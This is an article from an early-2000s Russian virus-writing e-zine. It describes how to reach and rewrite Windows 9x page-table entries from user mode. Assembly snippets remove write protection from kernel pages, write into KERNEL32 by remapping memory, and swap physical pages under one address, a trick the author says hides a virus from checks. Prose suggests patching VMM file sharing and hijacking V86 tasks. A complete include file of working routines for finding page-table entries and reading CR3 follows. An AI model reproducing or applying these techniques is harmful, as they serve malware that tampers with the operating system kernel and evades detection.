·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
   │ │ │ │ ├─┤│    / │ ││││├┴┐┬├─ ┬│  ├─┤ │ ┬│ ││└┤  Issue #1, January-2001
 ··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························

 ············································································
                      win9X: ИГРАЕМ С ТАБЛИЦЕЙ СТРАНИЦ
 ············································································

     Первая часть этого текста уже была опубликована у меня на страничке, а
 также  в  английском  варианте  в  журнале Matrix; здесь -- продолжение, а
 именно -- описание дополнительных возможностей работы с таблицей страниц.

     Напомню, что в первой части текста было показано как в ring-3 получить
 адрес  дворда-дескриптора  любой  страницы  памяти,  так, чтобы этот дворд
 можно было изменять.
     Старшие  20  бит дворда -- адрес страницы в физической памяти, младшие
 12 бит -- флаги, из которых 1=PRESENT, 2=R/W, 4=USER/SUPERVISOR.

     Итак, установив флаг R/W защищенной для записи странице, мы эту защиту
 снимаем:
                        mov     esi, 0BFF70000h         ; кернел
                        call    get_pagetable_entry
                        or      dword ptr [edi], 2      ; R/W
                        not     dword ptr [esi]

     Далее,  дескрипторы можно копировать друг в друга (только аккуратно!),
 производя тем самым мгновенное переключение любых областей памяти.

     Например, отображаем кусок кернела в свою собственную страничку:

                        align   4096
window                  db      4096 dup (?)        ; "окно"
                        ...

                        mov     esi, 0BFF70000h     ; кернел
                        call    get_pagetable_entry
                        mov     ebx, [edi]          ; дескриптор

                        lea     esi, window
                        call    get_pagetable_entry
                        mov     ecx, [edi]          ; дескриптор

                        mov     [edi], ebx
                        or      dword ptr [edi], 2  ; R/W

                        not     window.dword ptr 0  ; пишем в кернел

                        mov     [edi], ecx          ; вернуть обратно

     Еще один финт: "отжираем" от физической памяти страницу, и попеременно
 отображаем две разные физические страницы в один и тот же линейный адрес:

                        ; выделяется физическая страница
                        mov     window.dword ptr 0, 11111111h

                        lea     esi, window
                        call    get_pagetable_entry
                        mov     ebx, [edi]
                        and     dword ptr [edi], 0FFEh  ; нет больше страницы

                        ; выделяется заново, уже другая
                        mov     window.dword ptr 0, 22222222h

                        xchg    ebx, [edi]            ; переключаем страницы
                        cmp     window.dword ptr 0, 11111111h
                        jne     $
                        xchg    ebx, [edi]            ; переключаем страницы
                        cmp     window.dword ptr 0, 22222222h
                        jne     $

     Такая техника позволяет спрятать вирус от всяких проверок.

     А  вот  если бы мы одну физическую страницу отобразили в один и тот же
 линейный  адрес  в разных контекстах, то между контекстами образовалось бы
 "окно".

     Ну  и,  кроме  того,  используя  таблицу  страниц  можно  во много раз
 ускорить  процедуру  поиска  чего-то-там  во  всей памяти; ведь обычно это
 делается  через  медленный SEH. Более того, поиск будет не только быстрее,
 но  также  и  в  той  памяти,  которая  находится  по  одинаковым линейным
 адресам в разных контекстах. То есть, если обычным способом мы для младших
 двух     гиг     должны     получить     список    процессов    и    через
 Read/WriteProcessMemory  обращаться  к  их  памяти, а для старших двух гиг
 делать  поиск  через  SEH, то здесь мы просто выделяем 16/32/64/... гига и
 отображаем туда всю физическую память.

     Зачем  нужен  поиск  в памяти? Ну, например после исправления в памяти
 всех  строк  'KERNEL32'  на  'XXXXEL32' можно создать в виндовой системной
 дире  новый KERNEL32.DLL и вернуть патч всей памяти обратно. После этого в
 дире  окажутся  два кернела... Хер его знает, зачем это надо... ;-) А если
 серьезно,  то можно пропатчить в VMM'е места, отвечающие за шаринг файлов,
 после чего спокойно открывать кернел на запись.

     Кроме всего сказанного, с помощью таблицы страниц можно поиметь доступ
 к  V86-задачам,  там  уже перехватить инты в таблице прерываний и получить
 в  этих  задачах  управление или же дождаться перехода маздая в DOS-моду и
 поработать в реальном режиме.

     Вот  улучшенная  версия  процедуры  для  работы  с таблицей страниц из
 ring-3:

····[begin PAGETBL.INC]······················································

; subroutine: get_pagetable_entry
; input:      ESI=address
; output:     CF=0  EDI=pagetable entry address
;             CF=1  error

get_pagetable_entry:    pusha

                        call    get_cr3         ; получаем CR3
                        and     ebx, 0FFFFF000h ; EBX<--физ. адрес каталога

                        call    phys2linear     ; получаем линейный адрес
                        jc      __exit

                        mov     eax, esi
                        and     eax, 0FFC00000h
                        sub     esi, eax
                        shr     eax, 20         ; EAX<--адр.эл-та 1го уровня
                        shr     esi, 10         ; ESI<--адр.эл-та 2го уровня

                        mov     ebx, [ebx+eax]  ; EBX<--физ.адрес + флаги

                        test    ebx, 1          ; есть таблица 2-го ур-ня?
                        stc
                        jz      __exit          ; если нету, ничто не поможет

                        and     ebx, 0FFFFF000h ; оставить только адрес

                        call    phys2linear     ; EBX<--линейный адрес
                        jc      __exit

                        add     esi, ebx       ; ESI<--адрес дворда для патча

                        mov     [esp+0*4], esi  ; popa.edi

                        clc
__exit:                 popa
                        retn

; subroutine: phys2linear
; input:      EBX=physical address
; output:     CF=0  EBX=linear address
;             CF=1  error

phys2linear:            pusha

                        movzx   ecx, bx         ; BX:CX<--EBX=phys addr
                        shr     ebx, 16

                        mov     eax, 0800h      ; physical address mapping

                        xor     esi, esi        ; SI:DI=size (1 byte)
                        xor     edi, edi
                        inc     edi

                        push    ecx
                        push    eax
                        push    0002A0029h      ; INT 31 (DPMI services)

                        mov     edx, 0BFF713D4h ; можно и найти, но так проще
                        call    edx             ; KERNEL@ORD0
                        jc      __exit

                        shl     ebx, 16         ; EBX<--BX:CX=linear address
                        or      ebx, ecx

                        mov     [esp+4*4], ebx  ; popa.ebx

                        clc
__exit:                 popa
                        retn

; subroutine: get_cr3
; output:     EBX=CR3

get_cr3:                push    eax

                        sgdt    [esp-6]
                        mov     ebx, [esp-4]    ; EBX<--GDT.base

                        str     ax              ; EAX<--TSS selector
                        and     eax, 0FFF8h     ; optionally

                        add     ebx, eax        ; EBX<--TSS descriptor offset

                        mov     ah, [ebx+7]     ; EAX<--TSS linear address
                        mov     al, [ebx+4]
                        shl     eax, 16
                        mov     ax, [ebx+2]

                        mov     ebx, [eax+1Ch]  ; EBX<--CR3

                        pop     eax
                        retn
····[end PAGETBL.INC]························································

 ············································································